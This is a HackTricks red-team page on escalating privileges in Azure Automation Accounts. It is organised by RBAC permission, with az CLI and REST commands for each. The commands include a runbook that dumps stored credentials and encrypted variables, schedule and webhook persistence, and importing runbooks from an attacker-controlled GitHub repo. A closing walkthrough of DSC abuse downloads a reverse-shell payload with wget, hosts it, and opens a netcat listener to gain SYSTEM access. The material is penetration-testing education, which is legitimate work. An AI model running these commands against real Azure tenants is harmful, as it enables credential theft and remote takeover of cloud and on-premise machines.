Az - Azure Automation Accounts Privesc

Reading time: 10 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Azure Automation Accounts

Fore more information check:

Az - Automation Accounts

Hybrid Workers Group

Remember that if somehow an attacker can execute an arbitrary runbook (arbitrary code) in a hybrid worker, he will pivot to the location of the VM. This could be an on-premise machine, a VPC of a different cloud or even an Azure VM.

Moreover, if the hybrid worker is running in Azure with other Managed Identities attached, the runbook will be able to access the managed identity of the runbook and all the managed identities of the VM from the metadata service.

tip

Remember that the metadata service has a different URL (http://169.254.169.254) than the service from where get the managed identities token of the automation account (IDENTITY_ENDPOINT).

Microsoft.Automation/automationAccounts/jobs/write, Microsoft.Automation/automationAccounts/runbooks/draft/write, Microsoft.Automation/automationAccounts/jobs/output/read, Microsoft.Automation/automationAccounts/runbooks/publish/action (Microsoft.Resources/subscriptions/resourcegroups/read, Microsoft.Automation/automationAccounts/runbooks/write)

As summary these permissions allow to create, modify and run Runbooks in the Automation Account which you could use to execute code in the context of the Automation Account and escalate privileges to the assigned Managed Identities and leak credentials and encrypted variables stored in the Automation Account.

The permission Microsoft.Automation/automationAccounts/runbooks/draft/write allows to modify the code of a Runbook in the Automation Account using:

bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
  --resource-group Resource_Group_1 \
  --automation-account-name autoaccount1 \
  --name AzureAutomationTutorialWithIdentity \
  --content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'

Note how the previous script can be used to leak the useranmd and password of a credential and the value of an encrypted variable stored in the Automation Account.

The permission Microsoft.Automation/automationAccounts/runbooks/publish/action allows the user to publish a Runbook in the Automation Account using so the changes are applied:

bash
az automation runbook publish \
  --resource-group <res-group> \
  --automation-account-name <account-name> \
  --name <runbook-name>

The permission Microsoft.Automation/automationAccounts/jobs/write allows the user to run a Runbook in the Automation Account using:

bash
az automation runbook start \
  --automation-account-name <account-name> \
  --resource-group <res-group> \
  --name <runbook-name> \
  [--run-on <name-hybrid-group>]

The permission Microsoft.Automation/automationAccounts/jobs/output/read allows the user to read the output of a job in the Automation Account using:

bash
az rest --method GET \
  --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"

If there aren't Runbooks created, or you want to create a new one, you will need the permissions Microsoft.Resources/subscriptions/resourcegroups/read and Microsoft.Automation/automationAccounts/runbooks/write to do it using:

bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell

Microsoft.Automation/automationAccounts/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

This permission allows the user to assign a user managed identity to the Automation Account using:

bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
--headers "Content-Type=application/json" \
--body '{
  "identity": {
    "type": "UserAssigned",
    "userAssignedIdentities": {
      "/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
    }
  }
}'

Microsoft.Automation/automationAccounts/schedules/write, Microsoft.Automation/automationAccounts/jobSchedules/write

With the permission Microsoft.Automation/automationAccounts/schedules/write it's possible to create a new Schedule in the Automation Account that is executed every 15 minutes (not very stealth) using the following command.

Note that the minimum interval for a schedule is 15 minutes, and the minimum start time is 5 minutes in the future.

bash
## For linux
az automation schedule create \
  --resource-group <RESOURCE_GROUP> \
  --automation-account-name <AUTOMATION_ACCOUNT_NAME> \
  --name <SCHEDULE_NAME> \
  --description "Triggers runbook every minute" \
  --start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
  --frequency Minute \
  --interval 15

## Form macOS
az automation schedule create \
  --resource-group <RESOURCE_GROUP> \
  --automation-account-name <AUTOMATION_ACCOUNT_NAME> \
  --name <SCHEDULE_NAME> \
  --description "Triggers runbook every 15 minutes" \
  --start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
  --frequency Minute \
  --interval 15

Then, with the permission Microsoft.Automation/automationAccounts/jobSchedules/write it's possible to assign a Scheduler to a runbook using:

bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
--headers "Content-Type=application/json" \
--body '{
  "properties": {
    "runOn": "",
    "runbook": {
      "name": "<runbook-name>"
    },
    "schedule": {
      "name": "<scheduler-name>>"
    },
    "parameters": {}
  }
}'

tip

In the previous example the jobchedule id was left as b510808a-8fdc-4509-a115-12cfc3a2ad0d as exmple but you will need to use an arbitrary value to create this assignemnt.

Microsoft.Automation/automationAccounts/webhooks/write

With the permission Microsoft.Automation/automationAccounts/webhooks/write it's possible to create a new Webhook for a Runbook inside an Automation Account using the following command.

Note that you will need to indicate webhook URI with the token to use.

bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
--body '{
  "name": "<webhook-name>",
  "properties": {
    "isEnabled": true,
    "expiryTime": "2026-01-09T20:03:30.291Z",
    "parameters": {},
    "runOn": null,
    "runbook": {
      "name": "<runbook-name>"
    },
    "uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d"
  }
}'

# Then, to call the runbook using the webhook
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
  -H "Content-Length: 0"

Microsoft.Automation/automationAccounts/runbooks/draft/write

Just with the permission Microsoft.Automation/automationAccounts/runbooks/draft/write it's possible to update the code of a Runbook without publishing it and run it using the following commands.

bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
  --resource-group Resource_Group_1 \
  --automation-account-name autoaccount1 \
  --name AzureAutomationTutorialWithIdentity \
  --content 'echo "Hello World"'

# Run the unpublished code
## Indicate the name of the hybrid worker group in runOn to execute the runbook there
az rest \
  --method PUT \
  --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
  --headers "Content-Type=application/json" \
  --body '{
    "parameters": {},
    "runOn": "",
    "runtimeEnvironment": "PowerShell-5.1"
  }'

# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"

Microsoft.Automation/automationAccounts/sourceControls/write, (Microsoft.Automation/automationAccounts/sourceControls/read)

This permission allows the user to configure a source control for the Automation Account using a commands such as the following (this uses Github as example):

bash
az automation source-control create \
    --resource-group <res-group> \
    --automation-account-name <automation-account-name> \
    --name RemoteGithub \
    --repo-url https://github.com/carlospolop/gh-runbooks.git \
    --branch main \
    --folder-path /runbooks/ \
    --publish-runbook true \
    --auto-sync \
    --source-type GitHub \
    --token-type PersonalAccessToken \
    --access-token github_pat_11AEDCVZ<rest-of-the-token>

This will automatically import the runbooks from the Github repository to the Automation Account and with some other permission to start running them it would be possible to escalate privileges.

Moreover, remember that for source control to work in Automation Accounts it must have a managed identity with the role Contributor and if it's a user managed identity the cleint id of the MI must be specified in the variable AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID.

tip

Note that it's not possible to change the repo URL of a source control once it's created.

Microsoft.Automation/automationAccounts/variables/write

With the permission Microsoft.Automation/automationAccounts/variables/write it's possible to write variables in the Automation Account using the following command.

bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
--headers "Content-Type=application/json" \
--body '{
    "name": "<variable-name>",
    "properties": {
        "description": "",
        "value": "\"<variable-value>\"",
        "isEncrypted": false
    }
}'

Custom Runtime Environments

If an automation account is using a custom runtime environment, it could be possible to overwrite a custom package of the runtime with some malicious code (like a backdoor). This way, whenever a runbook using that custon runtime is executed and load the custom package, the malicious code will be executed.

Compromising State Configuration

Check the complete post in: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe

  • Step 1 — Create Files

Files Required: Two PowerShell scripts are needed:

  1. reverse_shell_config.ps1: A Desired State Configuration (DSC) file that fetches and executes the payload. It is obtainable from GitHub.
  2. push_reverse_shell_config.ps1: A script to publish the configuration to the VM, available at GitHub.

Customization: Variables and parameters in these files must be tailored to the user's specific environment, including resource names, file paths, and server/payload identifiers.

  • Step 2 — Zip Configuration File

The reverse_shell_config.ps1 is compressed into a .zip file, making it ready for transfer to the Azure Storage Account.

powershell
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
  • Step 3 — Set Storage Context & Upload

The zipped configuration file is uploaded to a predefined Azure Storage container, azure-pentest, using Azure's Set-AzStorageBlobContent cmdlet.

powershell
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
  • Step 4 — Prep Kali Box

The Kali server downloads the RevPS.ps1 payload from a GitHub repository.

bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1

The script is edited to specify the target Windows VM and port for the reverse shell.

  • Step 5 — Publish Configuration File

The configuration file is executed, resulting in the reverse-shell script being deployed to the specified location on the Windows VM.

  • Step 6 — Host Payload and Setup Listener

A Python SimpleHTTPServer is started to host the payload, along with a Netcat listener to capture incoming connections.

bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443

The scheduled task executes the payload, achieving SYSTEM-level privileges.

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks